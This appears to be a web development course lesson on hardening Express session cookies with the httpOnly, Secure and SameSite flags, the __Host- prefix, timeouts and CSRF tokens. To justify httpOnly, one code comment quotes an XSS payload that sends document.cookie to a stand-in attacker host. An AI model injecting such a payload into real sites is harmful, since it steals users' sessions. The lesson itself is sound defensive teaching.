Skip to main content

πŸͺ Cookie Security

The session ID cookie is the one thing your user actually carries β€” and it's the crown jewel an attacker wants. Steal it and they are your user. In this lesson you'll set the three flags that stop most cookie theft, use cookie prefixes for extra guarantees, and defend against CSRF, the attack that turns a valid cookie against its owner.

Week 9 · Day 3 (Wednesday: Session-based Authentication) · Lecture 3

🎯 Learning Objectives

By the end of this lesson, you will be able to:

  • Explain the threats to a session cookie: theft, XSS, and CSRF
  • Apply the httpOnly, Secure, and SameSite flags correctly
  • Choose between SameSite Strict, Lax, and None for a given cookie
  • Use the __Host- prefix to lock a cookie to one host over HTTPS
  • Set defensible cookie expiry with idle and absolute timeouts
  • Add CSRF protection to state-changing routes

Estimated Time: 70 minutes

Practice: Configure a fully hardened session cookie and add CSRF protection to a form route.

In This Lesson

The Threats

Because a session cookie is a bearer credential β€” whoever holds it is treated as the user β€” it faces three main attacks. Each cookie flag you'll learn maps directly to one of them.

graph TD A[Session cookie under attack] --> B[Theft over the wire] A --> C[Theft via XSS] A --> D[Abuse via CSRF] B --> B1["Fix: Secure flag (HTTPS only)"] C --> C1["Fix: httpOnly (JS cannot read it)"] D --> D1["Fix: SameSite + CSRF token"]

πŸ“– Coffee-shop Wi-Fi

A user checks their account over open Wi-Fi. If the site uses plain HTTP, anyone sniffing the network reads the cookie in the clear (fixed by Secure + HTTPS). If the site has an XSS hole, injected JavaScript can read document.cookie and ship it to an attacker (fixed by httpOnly). And a malicious page in another tab can quietly fire a request that rides along on the valid cookie (fixed by SameSite and a CSRF token).

httpOnly: Block XSS Theft

The httpOnly flag makes a cookie invisible to JavaScript. The browser still sends it with every request, but document.cookie can't see it β€” so even a successful XSS injection can't read your session ID.

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: { httpOnly: true }   // JavaScript cannot read this cookie
}));

⚠️ Without httpOnly, one XSS hole = stolen sessions

// Injected via an XSS vulnerability, this exfiltrates the cookie:
// <script>fetch('https://attacker.example/steal?c=' + document.cookie)</script>

// With httpOnly, document.cookie simply doesn't contain the session ID:
console.log(document.cookie); // session cookie is NOT present

express-session defaults httpOnly to true β€” keep it that way. There is essentially never a reason for client JavaScript to read a session cookie.

Secure: HTTPS Only

The Secure flag tells the browser to send the cookie only over encrypted HTTPS connections. Without it, a single plain-HTTP request could leak the cookie to anyone on the network.

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    // HTTP is used in local dev, HTTPS in production β€” so toggle by environment:
    secure: process.env.NODE_ENV === 'production'
  }
}));

πŸ’‘ The "cookie won't set" gotcha

Behind a load balancer or reverse proxy, Express sees plain HTTP internally even though users connect over HTTPS. With secure: true, it then refuses to set the cookie. Tell Express to trust the proxy:

app.set('trust proxy', 1); // honor X-Forwarded-Proto from the proxy

For consistent behavior, run HTTPS locally too (e.g. with mkcert) so dev and prod behave the same.

SameSite: Curb CSRF

SameSite controls whether the cookie is sent on requests originating from other sites. It's your first line of defense against CSRF, where a malicious page tries to make an authenticated request on the user's behalf.

ValueCookie is sent…Use for
Strictonly on same-site requests (never from another site, even via a link)The most sensitive cookies where cross-site sends are never needed
Laxsame-site requests plus top-level navigations (clicking a link)The sensible default for session cookies
Noneall requests, including cross-site (requires Secure)Only when a genuine cross-site cookie is unavoidable
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    sameSite: 'lax'   // good default; blocks most cross-site request forgery
  }
}));

⚠️ SameSite is not a complete CSRF defense

Lax still allows the cookie on top-level GET navigations, and cross-subdomain setups can weaken it. Treat SameSite as strong defense-in-depth, but still add an explicit CSRF token on state-changing routes (below).

πŸ’‘ A per-cookie strategy

Different cookies want different values. A login/session cookie is a great fit for Strict or Lax; a cookie that must work from an embedded widget on another domain needs None; Secure. Choose the tightest value each cookie can tolerate.

Cookie Prefixes

Cookie name prefixes are a browser-enforced guarantee. If a cookie's name starts with a reserved prefix, the browser refuses to store it unless it meets strict conditions β€” so an attacker can't overwrite it with a weaker version.

PrefixBrowser requiresProtects against
__Secure-Secure flag, set over HTTPSCookies being set over plain HTTP
__Host-Secure, HTTPS, Path=/, and no DomainSubdomain attacks β€” the cookie is pinned to the exact host
app.use(session({
  name: '__Host-sid',           // browser enforces the __Host- rules below
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,               // required by __Host-
    sameSite: 'lax',
    path: '/'                   // required by __Host-
    // NOTE: do NOT set `domain` β€” __Host- forbids it
  }
}));

βœ… Why __Host- is worth it

It guarantees the cookie can only have been set by this exact host over HTTPS, and can't be scoped to a parent domain a sibling subdomain might abuse. It's the strongest name-level guarantee available for a session cookie β€” use it whenever you're fully on HTTPS.

Expiry & Timeouts

A cookie that lives forever is a stolen credential that works forever. Short lifetimes shrink the attacker's window. Two timeouts work together:

  • Idle timeout β€” expires the session after a period of inactivity (e.g. 30 minutes)
  • Absolute timeout β€” forces re-authentication after a hard cap regardless of activity (e.g. 24 hours)
const IDLE = 30 * 60 * 1000;          // 30 minutes
const ABSOLUTE = 24 * 60 * 60 * 1000; // 24 hours

app.use(session({
  secret: process.env.SESSION_SECRET,
  rolling: true,                       // reset maxAge on each response = sliding idle window
  cookie: { httpOnly: true, sameSite: 'lax', maxAge: IDLE }
}));

// Enforce the absolute cap on top of the idle window:
app.use((req, res, next) => {
  if (!req.session?.userId) return next();
  if (!req.session.createdAt) req.session.createdAt = Date.now();

  if (Date.now() - req.session.createdAt > ABSOLUTE) {
    return req.session.destroy(() => res.status(440).json({ message: 'Session expired' }));
  }
  next();
});

πŸ’‘ rolling: true gives you the sliding window

With rolling, every response resets the cookie's maxAge, so an active user stays logged in while an idle one is expired after IDLE. The manual middleware then enforces the absolute cap so a session can't live indefinitely just because someone keeps clicking.

CSRF Protection

Cross-Site Request Forgery abuses the fact that browsers attach cookies automatically. A malicious page can submit a form to your site, and the browser dutifully sends the user's session cookie along β€” so the request looks authentic. The defense: require a secret token that the attacker's page can't know.

sequenceDiagram participant U as User (logged in) participant E as Evil Page participant S as Your Server U->>E: Visits malicious page in another tab E->>S: Auto-submits POST /transfer (cookie rides along) Note over S: Without CSRF defense, this looks legit! S->>S: Check CSRF token S-->>E: 403 β€” token missing/invalid

Because a cross-site page can send the cookie but cannot read a token your server planted (same-origin policy), demanding that token per request stops the forgery. The maintained modern middleware is csrf-csrf (the old csurf package is deprecated).

// npm install csrf-csrf
const { doubleCsrf } = require('csrf-csrf');

const { doubleCsrfProtection, generateToken } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__Host-psifi.x-csrf-token',
  cookieOptions: { httpOnly: true, secure: true, sameSite: 'lax', path: '/' },
  getTokenFromRequest: (req) => req.headers['x-csrf-token']
});

// Hand the SPA a token to echo back on writes:
app.get('/api/csrf-token', (req, res) => {
  res.json({ csrfToken: generateToken(req, res) });
});

// Guard state-changing routes; GET/HEAD/OPTIONS are exempt by design:
app.post('/api/profile', doubleCsrfProtection, (req, res) => {
  // reached only if the token is valid
  res.json({ message: 'Profile updated' });
});

// Turn CSRF failures into a clean 403:
app.use((err, req, res, next) => {
  if (err.code === 'EBADCSRFTOKEN' || err.message?.includes('csrf')) {
    return res.status(403).json({ message: 'Invalid CSRF token' });
  }
  next(err);
});
// Frontend: fetch the token once, then send it on every write.
async function post(url, body) {
  const { csrfToken } = await fetch('/api/csrf-token', { credentials: 'include' })
    .then(r => r.json());

  return fetch(url, {
    method: 'POST',
    credentials: 'include',                 // send the session cookie
    headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken },
    body: JSON.stringify(body)
  });
}

βœ… Layer the defenses

SameSite blocks most CSRF at the browser level; the token catches what slips through (e.g. GET-navigation edge cases or misconfigured subdomains). Together with httpOnly and Secure, they form defense-in-depth β€” no single flag is trusted alone.

A Full Secure Config

Everything from this module, assembled: a Redis-backed session, a hardened __Host- cookie, session regeneration on login, and CSRF protection.

require('dotenv').config();
const express = require('express');
const session = require('express-session');
const { RedisStore } = require('connect-redis');
const { createClient } = require('redis');
const helmet = require('helmet');

const app = express();
app.set('trust proxy', 1);        // correct `secure` behavior behind a proxy
app.use(helmet());                // sensible security headers
app.use(express.json());

const redisClient = createClient({ url: process.env.REDIS_URL });
redisClient.connect().catch(console.error);

app.use(session({
  store: new RedisStore({ client: redisClient, prefix: 'sess:', ttl: 60 * 60 }),
  name: '__Host-sid',
  secret: process.env.SESSION_SECRET, // strong, from the environment
  resave: false,
  saveUninitialized: false,
  rolling: true,
  cookie: {
    httpOnly: true,                                // no JS access (anti-XSS)
    secure: process.env.NODE_ENV === 'production', // HTTPS only (must be true for __Host-)
    sameSite: 'lax',                               // anti-CSRF default
    path: '/',                                     // required by __Host-
    maxAge: 60 * 60 * 1000                         // 1-hour idle window
  }
}));

app.post('/login', async (req, res) => {
  // ...verify credentials...
  req.session.regenerate((err) => {                // new ID = anti-fixation
    if (err) return res.status(500).json({ message: 'Login failed' });
    req.session.userId = 'user-123';
    req.session.createdAt = Date.now();
    req.session.save(() => res.json({ message: 'Logged in' }));
  });
});

app.post('/logout', (req, res) => {
  req.session.destroy(() => {
    res.clearCookie('__Host-sid');
    res.json({ message: 'Logged out' });
  });
});

app.listen(3000, () => console.log('Hardened session server on :3000'));

Practice & Quiz

πŸ‹οΈ Exercise 1: Harden a cookie

Goal: Start from cookie: { maxAge: 3600000 } and turn it into a fully hardened __Host- session cookie.

πŸ’‘ Hint

The __Host- name requires secure: true, path: '/', and no domain. Add httpOnly and sameSite for XSS/CSRF defense.

βœ… Solution
app.use(session({
  name: '__Host-sid',
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,        // required by __Host-
    sameSite: 'lax',
    path: '/',           // required by __Host-
    maxAge: 3600000
    // no `domain` β€” forbidden by __Host-
  }
}));

πŸ‹οΈ Exercise 2: Add CSRF to a form route

Goal: Protect POST /settings with a CSRF token and expose a GET /csrf-token endpoint for the frontend.

βœ… Solution
const { doubleCsrf } = require('csrf-csrf');
const { doubleCsrfProtection, generateToken } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  getTokenFromRequest: (req) => req.headers['x-csrf-token']
});

app.get('/csrf-token', (req, res) => {
  res.json({ csrfToken: generateToken(req, res) });
});

app.post('/settings', doubleCsrfProtection, (req, res) => {
  res.json({ message: 'Settings saved' });
});

🎯 Quick Quiz

Question 1: Which flag stops injected JavaScript from reading the session cookie?

Question 2: What does the __Host- prefix require the browser to enforce?

Question 3: Why is a CSRF token still needed when SameSite=Lax is set?

Best Practices & Pitfalls

βœ… Do

  • Set httpOnly, secure (in production), and sameSite on every session cookie
  • Use the __Host- prefix once you're fully on HTTPS
  • Serve everything over HTTPS and add app.set('trust proxy', 1) behind a proxy
  • Keep sessions short-lived with idle + absolute timeouts
  • Add a CSRF token to every state-changing route, on top of SameSite
  • Add helmet() for a baseline of secure response headers

❌ Don't

  • Rely on SameSite alone as your entire CSRF defense
  • Put real data in the cookie β€” the session ID must be an opaque reference
  • Use the deprecated csurf package for new code β€” prefer csrf-csrf
  • Set a Domain when using __Host- (the cookie will silently be rejected)
  • Forget to clearCookie() on logout after destroying the session

⚠️ Cross-domain SPA = the hard case

If your frontend and API live on different domains, SameSite=Strict/Lax will block the cookie on API calls. You'll need SameSite=None; Secure plus a strong CSRF token β€” or, better, host the API on a subdomain of the same site so a tighter SameSite keeps working.

Summary

πŸŽ‰ Key Takeaways

  • The session cookie is a bearer credential β€” protect it like a password
  • httpOnly blocks XSS theft, Secure forces HTTPS, SameSite curbs CSRF
  • The __Host- prefix pins a cookie to one host over HTTPS with Path=/ and no Domain
  • Use idle + absolute timeouts to shrink the window a stolen cookie is useful
  • Add a CSRF token on state-changing routes β€” SameSite is defense-in-depth, not a full fix
  • Layer everything: HTTPS, helmet, hardened cookies, regeneration, and CSRF together

πŸ“š Additional Resources

πŸš€ What's Next?

You've mastered stateful, session-based authentication end to end. Next we broaden the picture to delegated auth: OAuth 2.0 Flow Explained β€” how "Sign in with Google" lets a third party vouch for a user without ever sharing their password.

πŸŽ‰ Cookies locked down!

Your sessions are stored safely, expire sensibly, and can't be stolen or forged easily. That's production-grade auth.